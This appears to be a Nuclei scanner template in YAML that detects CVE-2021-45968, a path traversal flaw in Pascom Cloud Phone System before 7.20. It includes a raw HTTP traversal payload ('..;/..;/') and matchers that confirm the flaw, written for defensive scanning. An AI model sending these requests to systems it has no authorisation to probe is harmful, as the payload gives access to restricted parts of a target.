36 lines
1.0 KiB
YAML
36 lines
1.0 KiB
YAML
id: CVE-2021-45968
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info:
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name: Pascom CPS Path Traversal
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author: dwisiswant0
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severity: high
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description: |
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Pascom version packaged with Cloud Phone System (CPS)
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versions before 7.20 contains a known path traversal issue
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reference:
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- https://kerbit.io/research/read/blog/4
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tags: cve,cve2021,pascom,lfi
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requests:
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- raw:
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- |
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GET /services/pluginscript/ HTTP/1.1
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Host: {{Hostname}}
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- | # Double parent to access CMS index
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GET /services/pluginscript/..;/..;/ HTTP/1.1
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Host: {{Hostname}}
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- | # Verifying CMS
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GET / HTTP/1.1
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Host: {{Hostname}}
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req-condition: true
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matchers:
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- type: dsl
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dsl:
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- "status_code_2 != status_code_1"
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# - "status_code_2 == 200" # This would contradict the matcher below if enabled, because it reduces false-positives - while the status of traversal isn't always OK (200)
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- "contains(body_2, 'pascom GmbH & Co KG') || contains(body_3, 'pascom GmbH & Co KG')" # Verifying CMS
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condition: and
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